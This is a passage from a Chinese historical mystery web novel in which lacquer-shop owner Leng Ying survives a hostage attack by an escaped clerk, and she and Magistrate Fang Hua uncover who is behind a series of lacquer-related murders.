王大龙逃出牢狱这件事,方骅为何不差人通知一声。抓捕王大龙,她没有功劳,也是有苦劳的。 何况,她还贡献了“暗器”。 看了眼横在自己眼前王大龙的胳膊,上面密密麻麻全是红肿的水泡。冷萤便知道,自己今天怕是死定了。 “王典史,您都已经出来了,为什么还不赶紧逃走,抓着我其实没有多大用处的。”冷萤试图在救兵来之前,说服他。 就在刚刚,她和琉月正赶去县衙,因为只隔着一条街,便没有坐马车。 在路过买糕点的铺子时,琉月想着冷萤早上还未进食,硬要去给自家小姐买几块糕点带在身上。 冷萤站在原地等琉月时,王大龙突然从一旁窜了出来。 周围的小贩见此场景,跑得跑、散得散。等到琉月选好糕点准备算钱,找不到摊主时,才发现自家的小姐被劫持了。 她正欲跑上前,冷萤急忙朝她使眼色,让她不要暴露,直接去县衙找方骅搬救兵。 琉月是个聪明的,看懂了小姐的意思。她利用糕点铺子挡住身影,顺利地跑出了这条街。 “不着急。”王大龙在暗室待了几日,干净不到哪里去。他一开口,一阵恶臭传入冷萤的鼻腔,令她几欲作呕。 “等我杀了你,再跑也不迟。”他手中的刀刃紧了紧,仿佛被砂纸磨过的嗓音恶狠狠地说道。 “不知我哪里得罪了王典史,让你冒着被抓住风险,还要专门跑来杀了我。”冷萤其实知道是怎么一回事。 能懂得利用漆树上的寄生虫的,在陵县没几个。 只怕那千百条虫子上身时,王大龙想杀她的心就有了。 她昨天实在是气急了,才将这东西送去给方骅。但没想到他真的会用,还…… 她看着王大龙那已经肿到不正常的手臂,还有自己刚才被挟持的一瞬间,看到那被咬成猪头一般的脸,让她差点没认出是谁。 看来方骅不仅用了,还用了不少。 “得罪?哼!”王大龙喷出一口恶气,反问道:“我倒想问问,我是哪里得罪了冷掌柜,让你使出这种手段对付我?你知道全身又痛又痒,却看不见一只虫子的绝望吗?” 她知道,也不知道。 她知道是因为在书上看过,但从未亲身体验。不过看王大龙的现下的样子,书上描写的症状还是轻了些。 “我不懂王典史在说些什么。你看,你身上已经肿成了这样,不如我找个大夫帮你看看,才不至于一直这样难受。当然,我保证不会透露给任何人你的行踪。”冷萤格外认真道。 她又不傻,在这节骨眼承认自己做的事。 “呵……你是当我眼瞎吗?刚才你那丫鬟逃跑时的糕点掉了一地,我会不知道她去干什么了?”王大龙冷笑一声,提醒她。 通过对方提醒,她也看见了那几步一个的糕点。冷萤无言地闭了闭眼,同时下定决心,以后出门办重要事情时,切记要忌嘴。 “也许她只是逃走了呢?你也知道,我对待下人一贯严厉。”冷萤一点也不灰心,现在只要王大龙不发狂,她就还能编。 对方并没有接话,只是将她脖间的刀刃紧了紧,她便知道王大龙已经开始不耐烦了。 “王大龙,我知你为何非要打大漆的主意。”冷萤真怕他一刀刺入自己的喉间,于是不再像方才一样轻言细语,反而大声地质问道。 只是一条街的距离,方骅怎么还不带人来? “我管你知道什么。”没想到,王大龙是一点套路也不吃。 他阴恻恻地笑着,开口继续道:冷掌柜,你以前话没这么多的,今日也实在太聒噪了些。看在以前认识的份上,我会保你全尸,不会割断你的喉咙的。”说完,他轻抬手,然后重重朝冷萤的脖子刺下。 冷萤知道自己这次铁定是逃不过了,闭着眼睛也不喊救命,只是嘴唇轻启:“三……” 冷萤的脖子已经感觉到了痛意。 “二……”她眼皮已经紧张到在颤抖了,却还是没有挣扎。 就在她感觉,自己脖子上已经有血液流出时,王大龙拿着利刃的手开始剧烈地颤抖了起来。 “一。”冷萤念完,立刻拼命地闪身躲开。 “你他妈的。”王大龙手中的短刀砸到地上,他双手开始不停在身上各处抓挠,表情极度痛苦,“是不是又偷偷在老子身上放虫了?” 冷萤快速躲到某个小摊的招牌后面,才出声说话:“很明显,不是吗?” 那深入骨髓的痛痒,却又找不到出处,让王大龙失了理智。 冷萤说完立刻感觉后悔,她不该恋战的。 于是,趁对方现在无暇顾及自己时,她准备先行溜走。 可令她没想到的是,王大龙不愧是练过武的人,居然能抑制住全身漫天的痒意,猛地捡起地上的利刃,一跃而起朝自己追来。 冷萤拔腿就朝县衙跑,心里拼命为自己打气。 只要她跑得快一些,王大龙追她时稍微出点汗,那些虫子便会如同得到甘霖一般,到处撕咬。 但想象是美好的,现实却是残酷的。 冷萤只觉自己还没跑两步,头顶一黑,便见王大龙在半空中持刀向自己俯冲而来。 她正准备朝旁边闪躲,却见半空中的王大龙,突然被什么刺中了一般,整个身子瞬间一僵,瞳孔放开后,直接整个身体砸向她头顶。 冷萤瞬间使出全身最大的力气,往旁边一躲,堪堪避开了他沉重的身躯。 “砰!”人体落地的巨大声响,还是将她吓得一颤。 王大龙摔下来后,便头朝地俯趴着一动未动,仿若没了声息一般。 冷萤不敢随意上前,怕对方使诈。 她双眼紧紧盯着那具庞大的身躯,过了好一会儿,还是连个起伏都没有。 “摔死了?”她喃喃道。 算了,她还是找人过来看吧! 这样想着,她抬步正想离开,却在走动时双眼晃了下神。她赫然看见王大龙的脑后,似乎有根丝线一样的东西,瞬间被抽走了。 “虫子吐丝了?这不可能啊!”她胡乱猜测,又瞬间推翻。 这时,半空中飘来了一句甜美的声音。 “当然不是,你那虫子除了咬人,还能干什么呀。” 谁?是谁在说话?冷萤忙朝出声处看去。 只见在一家铺子的屋顶上,站着一位上身穿着鹅黄色对襟短衫,下身着彩条凤尾裙的女子。 她俏生生地站在屋顶,朝冷萤笑得一脸灿烂。 第十九章 髹饰影(19) 冷萤见状,抬高音量问道:“这位姑娘是?” 那姑娘只捂嘴一笑,答道:“我叫珊瑚。你不谢我的救命之恩吗?” “冷萤多谢姑娘的救命之恩。”冷萤微微点头,以示感谢。 “叫我珊瑚就行。”女子轻轻一跃,下一瞬,便身姿轻盈地站在冷萤面前。 近看,她才发觉这位叫珊瑚的姑娘,长得尤为可爱。粉腮大眼,脸颊左侧还有一个小梨涡,微微一笑时,便引得旁人也不由得跟着她笑了起来。 在冷萤打量珊瑚的同时,对方也睁着一双大眼,格外感兴趣地看着她。 “冷姐姐,你真美!你额头的花钿是什么图案哇?珊瑚也想点一个。还有还有,姐姐的脸怎么这般小,只有珊瑚的一半耶。” 对方一连串的问题,倒是让冷萤不好意思再开口询问,方才王大龙脑后抽出的丝线一样的东西是什么了。 冷萤第一次被人歪着脑袋,用双眼几乎要长在她身上架势,这般打量着。 虽然她还是不动声色地站在原地,嘴里也正常地回着话,但心里还是浮现了一丝不自然。 “如果珊瑚姑娘喜欢,下次我可以教你。”冷萤说的是自己额间的花钿。 冷萤其实挺乐意的,对方长得可爱软糯,一见着她笑,自己就很想答应她些什么。 只是,她们似乎还不太熟…… “姐姐,叫我珊瑚就可以了。”这一句姐姐,被她叫得七歪八扭,荡气回肠的。 冷萤每听见一次,就要起一阵鸡皮疙瘩。 她正待回答对方,方骅的声音在二人身后响起:“两位,聊天的时机不太对吧?” 冷萤转头看去,见方骅带着陈全一行人,拿着武器格外霸气地杵在那儿。在陈全的身边,则站着怯生生的琉月。 “小姐……” 见自家小姐没事,琉月高兴地使着小碎步跑过来,却在看见冷萤脖子上的血迹时,眼泪一下子蓄满了眼眶。她急着拿出手帕想帮忙擦拭伤口,被冷萤轻轻躲开。 伸手摸了摸她的头,冷萤安慰道:“没事的。” 而对面的方骅,先是轻扫了眼冷萤身边的珊瑚,然后才将目光转向冷萤。 “方某竟不知,冷掌柜还会些拳脚功夫。”方骅暼了一眼趴在地上的王大龙,对着冷萤打趣道。 刚说完,他发觉冷萤的脖子好像受伤了,那伤口还微微沁出了点血迹。 倏然,他皱起眉头正色道:“没事吧?” 前一句是调侃,后一句则是关心。 冷萤摇摇头表示自己没事,看了眼身旁的人道:“是这位珊瑚姑娘救了我。” “哎呀,冷姐姐。都说了叫人家珊瑚。”小姑娘有些不乐意了,轻蹙着眉再一次要求。 “弦女?”方骅对着珊瑚轻吐出两个字,听得冷萤有些摸不着头脑。 “咦,这位大人认识我?原来我这么有名的。”珊瑚说完,有些没心没肺地笑出了声,双眼亮亮地看向冷萤。 冷萤看看表情严肃的方骅,又看看笑得灿烂如春花的珊瑚。下一瞬,这二人便非常有默契地将脸同时转开。 他们两个……是认识吗? 很显然,现在不是问这话的时候。毕竟,还有这么大一个人躺在地上,方骅伸手指了指王大龙,陈全上前将他翻了过来。 冷萤这时才看清,王大龙的额间不知何时冒出了一点血珠。不仔细看,还以为是被针扎了一下。 看着明显已经死去的王大龙,她不由微微叹了口气。 这位“争强好胜”的典史,临了了也不会想到,自己居然会死得如此草率吧? “本官今日总算见识到,‘弦女’杀人于无形的英姿了。“方骅蹲下身,仔细查看王大龙的额间后,站起身有点阴阳怪气地说道。 嗯?冷萤听着这话,怎么总觉得怪怪的? 她还从未听过,方骅用这般别扭的语调说过话,很是意外地瞧了他一眼。 “谢谢夸奖,不过大人想练成这样,怕是不能够了。”珊瑚眯着眼睛笑得格外甜美,嘴上却不甘示弱地回了句。 这句话倒是引起了冷萤的兴趣,她下意识地问出了口:“为什么?” 珊瑚“噗呲”一笑,双眼亮亮地看向冷萤,开口道:“他性格又臭又硬,怕是驾驭不了我这些柔韧的弦丝了。” 冷萤颇为感同身受地点了点头,不敢接话。连方骅怎样的心性都了如指掌,看来他俩果然认识。 方骅则是无奈地看了冷萤一眼,张嘴想说话,想了想又吞了回去。 “珊瑚的武器是弦丝吗?”冷萤对她的武器很是好奇。 “对呀,姐姐好聪明!”珊瑚晃了晃五彩的裙摆,笑容甜得发腻。 冷萤看着她的动作,沉思片刻道:“所以弦丝,应当就在姑娘的裙摆上绣着吧?” 这句话让珊瑚的笑意顿了顿,随后才故作惊讶地捂嘴道:“冷姐姐是怎么发现的?这么明显吗?” 冷萤正想回答,方骅的声音又响起:“两位,可以一会儿再聊吗?” 听了他的话,珊瑚这次直接变了脸。她倏地看向方骅,声音不似对着冷萤那般甜腻,开口道:“你是不是嫉妒?” 方骅听罢,嗤笑一声道:“我嫉妒?我嫉妒你讨好卖乖,才能得到人家的关注吗?” “你!” 冷萤见珊瑚的手已经滑向腰间,连忙上前阻止二人。 “方大人,民女有事禀报。”先撤走一个吧,不然案子还没结,这二人倒是打起来了。 “可以是可以。只是……”方骅有些犹豫地快速瞧了一眼冷萤的脖子,才别扭地开口:“咳,那里不先包扎一下吗?” 冷萤愣了一瞬,才猛然想起自己脖子上还有伤。 嗐!这点小伤口,再不去医馆只怕就要愈合了,他怎么和琉月一样爱紧张。 “没事的,它一会儿就自己好了。”冷萤无所谓地回答。 方骅静默了一会儿,才开始解释:“琉月去找我时,我正好带着陈全他们去追王大龙了。” 随后,又说了一句:“没想到他会找上你。” “大人都给他用了‘五倍子’了,王大龙用脚底板想,都知道是我在作怪。”冷萤笑着调侃道。 “不是我用的。”方骅看着王大龙肿胀的脸部和身体,解释道。 冷萤微微有些诧异。不是他?那还会有谁? 知她好奇,方骅只得告知:“是师爷。我忘记将你送的东西拿走,他见我离开,又偷偷潜回去,将所有的‘果子’全部捏爆,丢在了王大龙身上。或许是因为紧张,他离开时并未将暗室门锁好,才导致王大龙成功逃了出来。” ……竟是师爷。 冷萤想起来了,师爷自苏林生到陵县任职,便一直跟随他。二人亦师亦友,苏婉琰也是师爷看着长大的。 “门口没有守卫吗?”冷萤只是好奇问了一嘴。 说到这个,冷骅眼底闪过一丝郁闷,“那几个守卫,有几个以前跟过王大龙。见他被虫子折磨的痛苦,被他诓骗着打开了锁链。结果王大龙真要离开时,他们一个也拦不住。” 第二十章 髹饰影(20) 原来如此。 她终于能想通,为何王大龙能这般轻易从县衙里逃出来了。 “既然冷掌柜不愿去看大夫,那跟我回衙门里包扎一下吧。”方骅帮她想了个办法。 冷萤点头,转身安排琉月带珊瑚回去,并让珊瑚在阁里等她。 救命之恩,理应好好报答。更何况,她还答应了要教珊瑚点花钿,说话得算话,可不能食言了。 “冷姐姐,珊瑚真的不能陪你去吗?”珊瑚撒着娇,摇着她的胳膊问道。 琉月在一旁嘟了嘟嘴欲言又止。她都从未这般对小姐撒娇过呢,这姑娘倒是挺自来熟的。 “不行!” 冷萤都还未来得及开口,方骅二话不说直接冷声替她拒绝。 她只好抱歉地对珊瑚笑了笑,转身跟着方骅离开。只留下干瞪着眼的珊瑚,和一旁劝她回去的琉月。 进了县衙,方骅不管冷萤准备说什么,率先唤来医官为她将伤口包扎好。 待医官离开后,他坐到她对面,开口道:“说吧,把你怀疑的都说出来。” 冷萤正在摸脖子处的纱布,她真觉得这东西有点麻烦。现在好了,早上好好出的门,完了还得裹个纱布回去,让祖母担心。 听了方骅的问话,她慢慢将手放下,表情渐渐严肃了起来。 “听方大人的话,应当也明了我在怀疑什么了。”她隐约间,总觉得方骅与自己的思维一直是同步的。 方骅轻点了下头,喝了一口茶,又替冷萤将杯子里的冷茶换掉,才开口道:“说说看。” “我感觉,林云谢自始至终都不是一个人作案。”她说出了自己的怀疑。 方骅听罢,偏了偏头,“这一点我们不是早就知道了,他与青果有私。” “不!不是青果!”冷萤急切地摇头,牵扯到脖颈的伤口,疼得轻轻“哎呦”了声。 这伤口……好像是有点疼。 刚才她一直处于紧张中,所以才会没什么感觉。 方骅快速将手中的茶杯放下,下意识地朝冷萤这处伸了伸,随后又收回了手,冷声道:“你暂时还是用嘴表达吧。” 知他是在关心自己,话糙点就糙点吧,冷萤并不在意。 毕竟现在正事重要。 “我现在可以确定,林云谢给尸体上涂上大漆,将尸体毁容,与他恨苏婉琰一点关系都没有。甚至可以说,他从头至尾,就没有真正恨过苏林生和苏婉琰。”冷萤说这句话时,语气非常果断。 “既然不恨,为何又这样做呢?”方骅也不知是没听懂,还是故意问道。 “因为他太爱了!涂大漆、毁尸容,都只是为了掩饰某一件事实。”冷萤想了想,开口。 “掩饰另外一具尸体,其实不是苏婉琰的事实吗?” 见对方说出与自己一样的想法,冷萤倏然睁大眼睛,“大人也想到了?” 点点头,方骅开口道:“是!我还专门找杵作重新验了一回尸。结果表明,本应是苏婉琰的那一具尸体,耳垂上没有耳洞。” 越想越心惊,冷萤回想了下,“苏婉琰是有耳洞的。倒是青果……我听琉月说她自小无父无母。会不会,压根就无人有耐心为她穿耳?” “所以,你的意思是说……”方骅沉思片刻,问道:“那具尸体,其实并不是苏婉琰,而是青果?” 冷萤缓缓摇了摇头,慢慢开口道:“只是猜测罢了。民女其实,也不能确定那具尸体到底是谁。但林云谢认罪的方式,的确是有些奇怪。” “还有一件事,我要向大人坦白。” 冷萤向方骅说出,林云谢毁尸时掺入的石蜡,其实是有人在自己阁中偷取的。她也是刚知道,便立刻赶过来告知。 “我已查到了。”方骅淡声道,“你不必紧张,这和你没有关系。林云谢为了掩饰一具尸体的异样,毁了所有尸体,其实就是为了嫁祸给王大龙。” 冷萤接过话,说道:“但他没想到王大龙会这么快落网。只要王大龙被抓住,他所想隐瞒的一切,便会慢慢浮出水面。” 方骅赞许地看了她一眼,“所以,他从一开始指出王大龙是凶手后,便已经决定要自投罗网了。这样……他以命相护的那个人,才有机会得以逃走。” “现在假设他与苏婉琰之间无任何龃龉,那就不会有爱上青果这件事情。再加上那具尸体,有可能并不是苏婉琰。那……”冷萤越想越觉得可怕,脸色也越来越难看。 方骅看着她有些难受的模样,开口道:“虽然一切都只是我们的猜想,但经过这几天的问话与探查,应是八九不离十了。现在只要找出他护的那个人,一切便会真相大白。” 冷萤的心绪突然变得极为复杂。 如果他们的猜测无误的话…… 冷萤鼓起勇气问道:“大人预备,如何找出林云谢以命相护的那个人。” 方骅讽刺一笑,开口道:“如今既已有了怀疑的人,那便不用到处去找了。” 他的这句话,冷萤其实并不是很懂。 不是应当有了怀疑的人,才好去探查吗?怎么如今,案子已分析得差不多了,他反而还不着急了呢? “想不明白?”方骅见她愣愣地举着茶杯,不喝也不放下。 “民女想不明白。”冷萤被他唤回了神,放下茶杯坦诚说道。 方骅见冷萤说完这句话,又茫然地盯着桌面,似乎在想些什么,应该是又将自己绕进了死胡同里。 “冷掌柜。”他轻喊了一声,见对方抬头看向自己,才问道:“你觉得两个相爱的人,会眼睁睁看着对方,为自己去送死吗?” “当然不会。”冷萤毫不犹豫地回答。 “所以你说,当那人知道林云谢为了保护她,选择自投罗网。她会怎么做?” “劫狱?”她脱口而出。 在看见方骅因惊讶而微微挑起的眉,冷萤才突然反思,自己给出的答案似乎不太实际。 那人虽然藏在暗处,但以对方目前的处境,哪来的能力劫狱? “冷掌柜,以后还是少看点江湖话本吧。”方骅微微一笑,说出的话却颇为阴阳。 冷萤也不甘示弱,反问道:“方大人怎知那人就不会呢?” “这里有我坐镇,谁敢来?”方骅淡淡地回道。 显着他了…… 那王大龙还逃出来了呢! 第二十二章 髹饰影(22) 丑时三刻 冷萤跟着方骅,又来到上次观看王大龙被抓的凉亭里。 小小的亭子里,只有他们二人。 四周郁郁葱葱的香树遮住了大半个凉亭,只余几缕银丝照了进来。 冷萤坚持在凉亭边站着,方骅则悠闲地坐在石桌旁,喝着他让陈全提前准备的清茶。 “冷掌柜过来坐坐吧,站了这么久不累吗?”方骅怕她的茶凉了,给自己加茶水前,还不忘朝她的茶杯里掺了点热的。 听着身后仿佛是来赏月的闲散语气,冷萤头都不想回,更别说理他了。 都什么时候了,他还有闲心坐在那里慢慢品茶。陈全也是个勤快的,知道主子要出来办事,早就将全套茶具揣在了身上。 她知他是为了缓和气氛,让自己不至于为了即将发生的事情心情沉重。 但邀约之人过了约定时间还未到,他难道一点都不着急吗? 正想着,亭外响起了陈全的声音:“大人,来了!” “好,知道了。”方骅听到下属的汇报,这才收起方才闲适的模样,站起身走到冷萤身边。 冷萤双手不由自主地紧握,看着亭外出现的人影,却久久不见对方踏进亭子。 “她不会进来的。”方骅告诉她。 冷萤正想问他怎么知道,一句清雅之音打断了她的疑虑。 “阿萤,好久不见!”是苏婉琰的声音。 “婉琰……”隔了好久终于听见久违的声音,冷萤内心的复杂程度无以言表。她所有的担心只汇聚成一句话,“你还好吗?” “不太好。”苏婉琰面对冷萤并不想隐瞒什么,有些一直忍住没问的话,此刻再也忍不住了,“阿谢,他还好吗?” “他……”冷萤不知如何回答。自林云谢被抓后,她便再也没见过对方。 可她知道以苏婉琰目前的处境,已无人可以打听。 林家来县衙闹过一次,最终也只是被驱赶的下场,更别说苏婉琰这个,早已被判定死亡的人了。 “他还不错!吃得下、睡得着的。”不管林云谢现在是什么情况,冷萤都会选择这么说。 苏婉琰安静了一会儿,才缓缓开口道:“那就好……” 亭子内外,同时开始沉默。 冷萤是因为有很多想问的,却不知从何问起。而方骅,她转头看了一眼对方,却见他紧皱着眉头,表情似乎有些不耐烦。 难不成…… 这人是准备等她们叙完旧,才开始问话? 她竟未发现,这位自己一直认为处事不够圆滑的男子,在接触久后,其实是这般的心思细腻。 “方大人。”在亭内的二人都还未说话时,倒是亭外的苏婉琰开口了。 “说。”方骅冷声回答。 苏婉琰停顿片刻,才开口问道:“如果我将大漆案幕后指使之人告知于您,您可以放了阿谢吗?” “不会。”被问询之人,斩钉截铁道。 大人,您能委婉点回答吗?她方才,定是误解他的意思了…… 冷萤无计可施,只能用眼神不停地示意他。结果对方根本接受不到她的示意,侧了侧头用嘴型问她啥意思。 “那我,便不能将那些人告知于您了。”苏婉琰不管何时说话都温温柔柔的,一看便是自小受过良好的教导。 即便是此刻,她内心应是万分渴求方骅能答应自己的请求,语气也与往常一般温婉。 方骅没理会她,他固然很想知道那些人到底是谁。但苏婉琰若执意不告诉他,他也能靠自己的本事找出,不过是时间问题罢了。 但苏婉琰就不一样了,她手上握着的,是对她来说唯一能拿出的筹码。冒着被活捉的风险,也要与他们见上一面,方骅便知道,林云谢对她来说有多么重要了。 “阿谢他,其实是最无辜的。这件事情从头到尾都与他没有任何关系。”苏婉琰见方骅不吭声,自顾自地说道。 “无辜?”方骅讽刺一笑,问道:“苏小姐到底是怎么想的?居然说一位凶手无辜?” 他这话一出,冷萤便瞧着苏婉琰所站之处,地上的影子动了动。 “料想大人,也早就猜出那具尸体便是青果了。”苏婉琰也只是稍稍停顿了一下,再开口,语气依旧冷静,“但是,青果真的不是我们杀的。” “呵……”方骅冷笑,“不是你们杀的,难道是人家姑娘突然就不想活了,自己把自己杀了?” “也许是……”苏婉琰喃喃道。 “你说什么?”冷萤以为自己听错了,见方骅也是一脸不信,她快速问道:“青果怎会选择自尽?” 亭外,良久无人说话。 过了好一会儿,苏婉琰才再次开口:“青果自小无父无母,早已将父亲和我当成了家人。那日她陪我去父亲房中,亲眼看见父亲被王大龙杀害。” 讲到苏林生被害,她的声音开始哽咽:“我跑进去救父亲时,将青果锁在了门外,让她快逃。我是父亲的女儿,不可能抛下他独活。但青果不一样,她刚及笄,人生才刚刚开始。” “你已将她锁在了门外,为何她最后还是死了?”方骅的语气,似是完全不信她说的。 但冷萤了解苏婉琰,她不是一个为了活命,选择编谎话来哄骗他们的人。 “我当时,已经被王大龙掐晕了过去。他可能以为我已气绝,便将我与父亲的尸体锁在了房中。我不知道中间发生了什么事,只是当我突然醒过来时,青果已经死在了我身边。” 苏婉琰说到这里开始小声抽泣,冷萤想走出去安慰她,被方骅一把抓住。 看着他对自己摇了摇头,冷萤这才暗暗叹了口气,无奈停下了脚步。 “当时的林云谢在哪?”方骅见苏婉琰自开始讲述,便从未主动提及林云谢这个人,于是直接问道。 苏婉琰抽泣声停了一瞬,随后才答道:“我醒来时,他已在我身边。但我可以发誓,不是阿谢杀了青果,真的不是!” 方骅一刻未歇地问道:“你怎知不是他?当时的你,可是昏迷状态。” “大人,阿谢自小便心地善良,绝不会做出杀害身边人的这种事情。请您相信我!”苏婉琰的情绪越来越激动,特别是在提到林云谢的时候。 方骅目光犀利地看着苏婉琰所站之处,“可本官来赴约前,与林云谢谈过一次。他承认自己杀了青果,这你又如何解释?” “还有一件事,你可别忘了。”方骅提醒她。 “青果,可是被人活活掐死的!” 第二十三章 髹饰影(23) 苏婉琰又不说话了。 “怎么?”冷骅问道:“你俩一同犯下这许多事,都没时间对一下供词吗?” “大人,不是这样的!阿谢定以为是我杀了青果,所以才会想着替我顶罪。”苏婉琰见方骅不信她说的,情绪明显开始焦躁不安。 冷萤见亭外的影子晃来晃去,像极了苏婉琰此刻杂乱的心情。 “苏大小姐,你是在逗本官吗?还是在说笑?”方骅见她冥顽不灵,嗓音彻底冷了下来,“一会儿你是不是又要告诉本官,张福临和孙掌柜也是自尽?” “不……不是。张福临和孙掌柜的死确实与我们有关。但是……”苏婉琰说到这里,猛地停了下来。 “但是什么,说清楚!” 方骅似乎彻底没了耐心,一旁的冷萤又开始感觉到,一股怒意自他身体慢慢向外发散开来。 这人好像每次一开始审案子,就像变了个人似的。 “其实所有的事情,都是那人指示我们这样做的。”亭外的苏婉琰明显也被方骅吓到了,不再隐瞒地说出她方才就一直想说的。 方骅怒声问道:“还在说谎呢?本官可没什么怜香惜玉的优良品质,苏小姐你最好老老实实好好作答!” “还有,那人说什么你们就要听吗?现在!立刻!给我从头到尾地交代清楚!”他突然提高音量,将身旁的冷萤吓得一颤。 “大人您不要着急,咱们慢慢来。婉琰她以前胆子就有些小……”冷萤试图开口缓和气氛。 方骅头也不回地问道:“胆子小,还连杀好几个呢?”这句话虽讽刺意味十足,但面对冷萤时,好歹音量放低了点。 “阿萤,你不用帮我说话。”苏婉琰柔声对冷萤说了句。 随后,才回方骅:“因为,他答应会为我父亲报仇!如果不是大人您来得这般快,王大龙的死状,只怕也会和孙掌柜一样。”说到这里,她的声音不再似方才那样柔和,“你们想知道……孙掌柜是怎么死的吗?” 冷萤居然从苏婉琰的语调中,听出了一丝快意。 见无人答复她,苏婉琰极轻地笑了一声:“是被我……吓死的。” 她用极淡的语气,描述起那夜的场景,“那夜,我穿着本应该出阁那日才穿的嫁衣,在布置好的漆器店里,就这么对着他说了几句话。他就吓死了……” “是不是胆子很小?”问这句话时,苏婉琰嗓音里已没了笑意。 虽然孙掌柜的确不经吓,但冷萤回想漆器店里满墙满地的鲜红大漆,再加上苏婉琰这个被自己同伙亲手杀死之人,又赫然一身嫁衣出现在他的面前。 夜半的微风穿过凉亭,冷萤立刻止住了自己的遐想。 确实,还挺吓人的…… 可忽而她又想到,苏婉琰所穿的嫁衣,原本是要在她出阁那日,穿给自己最爱的父亲与郎婿看的。 想到这里,冷萤又猛地感到一阵心酸。 所以苏婉琰是想着,不管怎样自己已经是无法顺利成亲了,所以最后再穿一次嫁衣吗? “婉琰……” “阿萤不必为我伤心,我做下太多不可原谅的事了。那方凤鸟砚屏我是特意送给你的,这是我最喜爱的摆件,原是准备成亲时带去林家,可惜……” 她片刻停顿后,又继续说道:“我可能看不到你出阁了。这凤鸟砚屏,就当我贺你他日成亲之礼吧。” 听了她的话,冷萤心脏处好似被狠狠扎了一下,她咬了咬唇说道:“婉琰,这太贵重了,我不能收。而且,我已将缺失的鸟羽修复好了,你随时可以拿回去的。” 苏婉琰微叹一声,“凤鸟的鸟羽,是我故意弄坏的。” 冷萤正想问她为什么要这样做,苏婉琰又继续道:“我在陵县已经没有亲人了,如今阿谢……也被我连累成这样。那砚屏放在哪处我都不放心,你是真爱髹饰之物的人,只有交给你我才能安心。” 冷萤知她心意已决,自己如若不收,倒是徒增了她的担心。 但不管怎样,她都希望苏婉琰能说出实话,不要再傻傻地背上全部的罪名。 “婉琰,那背后之人就是在利用你们。他自己不方便动手,便暗地里使坏让你们替他动手。你还是尽快将那人的身份告诉大人,不要再继续错下去了!”她知自己的好友已犯下大错,只能苦口婆心地劝她回头是岸。 林云谢家中还有老父,不能让他背着一个杀人犯的罪名,让林老伯一辈子抬不起头做人。 明月高悬,亭里比之方才要暗了一些。 就在冷萤心急如焚之时,苏婉琰终于开口说话了:“方才我对大人那样要求,只是觉得阿谢跟着我一起死太不值得了。我知他不会后悔,但我何尝又舍得……”苏婉琰再次提及林云谢时,情绪不再如方才那般激动。 她好似,正在回忆与林云谢在一起的美好。 冷萤虽看不见苏婉琰的面容,但从她亭外的身影便能感觉到,她整个人在说起林云谢时,是完全放松的。 “所以,那人是谁?”方骅等了一会儿,才又问道。 苏婉琰所站之处的树叶微微动了动,她似乎是想走进来单独与他们说。 冷萤只看见一双红色绣花鞋刚踏上凉亭的台阶,便停在了原地。 就在她预备上前将苏婉琰拉进来时,却见那双绣花鞋如失重一般后退几步。随之而来的……便是苏婉琰整个人倒在地上的沉重之声。 “婉琰!” 冷萤立即发现了不对劲,她喊出一声后想冲出凉亭,却被方骅控制在了原地。 “陈全,抓人!”方骅大吼一声。 “大人你快放开我,我要去看看婉琰的情况。”冷萤一边挣扎,一边对方骅说道。 她们方才谈了那么久的话,却连面都没有见到。她怕自己再不去见苏婉琰一面,只怕要天人永隔了。 方骅扯着她的胳膊不肯松开,“你等等。等陈全抓住那个人,我立刻放你出去,现在出去真的太危险了!” 其实冷萤都明白,现在外面的情况肯定很混乱,待陈全他们将人处理后,自己再出去才是最正确的选择。 可是,她不能放苏婉琰一个人在外面。 “我会小心的,大人放心。”说完,冷萤甩开方骅的手,快速跑了出去。 可就是那么巧! 她刚一离开凉亭,便看见陈全几人,压着一个长相颇为凶悍的男人走了过来。 冷萤微微转头…… 便看见了身穿红色嫁衣,背后插着一支箭,表情痛苦倒在地上的苏婉琰。 第二十四章 髹饰影(24) “婉琰,你要不要紧?” 冷萤连忙跑过去,蹲身看着苏婉琰背后的箭伤,不知该如何是好。 “冷掌柜,郎中就在不远处待命,马上就赶来了。”陈全一脚将那壮汉踢跪下,还抽空对她说了一句。 冷萤转头由衷感谢:“谢谢你,陈护卫!” 陈全正在努力控制那个不愿老实跪下的家伙,在给那人脑袋一巴掌后,憨憨地朝冷萤笑道:“不用谢,是大人让我这么做的。” 方骅此时从凉亭走出,开口道:“陈全,让你抓个人,怎么这么多话?” “大人,不是您让我提前将郎中带过来的嘛,我又没说谎。”陈全被大人说了一顿,有些委屈地回了嘴。 方骅极快地扫了冷萤一眼,见她正一脸担心地轻声问着苏婉琰什么,才收回视线,瞪了陈全一眼。 冷萤此时,已经无心听旁人说话了。苏婉琰的嘴唇越来越白,身前红色衣料的颜色也越来越暗。 她扯下裙摆想帮她止血,却着实无从下手。 “阿萤不要担心,我没事的。”苏婉琰因为失血过多,声音有些虚弱。 她怎么会没事?冷萤想扶她起身靠在自己身上,却摸到了一手濡湿。 “你撑一撑,郎中马上就来了。”冷萤看着在红衣映衬下,那张格外惨白的脸,哽咽道。 “不要哭……也许就这样死去,对我来说才是最好的。老天爷还是帮了我,让我在死前为父亲报了仇……”苏婉琰忍着痛,对冷萤凄惨一笑。 “别说话了,咱们留点精力等郎中过来。”冷萤有些不忍看她,只觉她此时不管笑得多么从容,内心也都是苦涩的。 “她可能还是要说话的。”方骅从一旁走过来,淡然说了句。 郎中气喘吁吁地跟在他身后,方骅转头叮嘱:“郎中,请务必将她治好。” 冷萤正要替苏婉琰向他道谢,却见他已转过身避嫌,嘴上却对苏婉琰说着:“现在有力气说话吗?郎中现在帮你止血,你把那人的身份告诉我。能做到吗?” 不是,他训兵呢? 冷萤正想开口让他稍等一等,郎中这时开口说话了,“箭没有射中要害,问题应该不大。” 听了郎中的话,冷萤这才稍稍放下心,没再说话。 方骅见苏婉琰还是不肯开口,才告知她们:“刚才抓住的那人只是杀手,连雇主的面都没见到过。所以还是要麻烦苏小姐,快些将实话告知本官。” 冷萤知事关重大,只好低声对苏婉琰道:“如果没有力气,小声说与我听即可。” “阿萤。”苏婉琰这时凑到她耳边,虚弱又小声道:“其实我不知道他的身份,但我见过他的长相。还有,我手上有一份参与此次大漆贪污案某些官员的名单,就放在那方凤鸟砚屏的底部。你一定要记得取出来……” 见她乖乖点头,苏婉琰示意冷萤将自己上身扶起。 就在冷萤将苏婉琰扶起的下一刻,她的声量突然变大,就像是故意要说给所有人听一样,“方大人。那人的画像,我已藏在后山其中一棵漆树下,您记得要尽快派人去挖。” “我会的,多谢苏小姐指引。”方骅微微点头道谢,随后朝陈全使了使眼色。 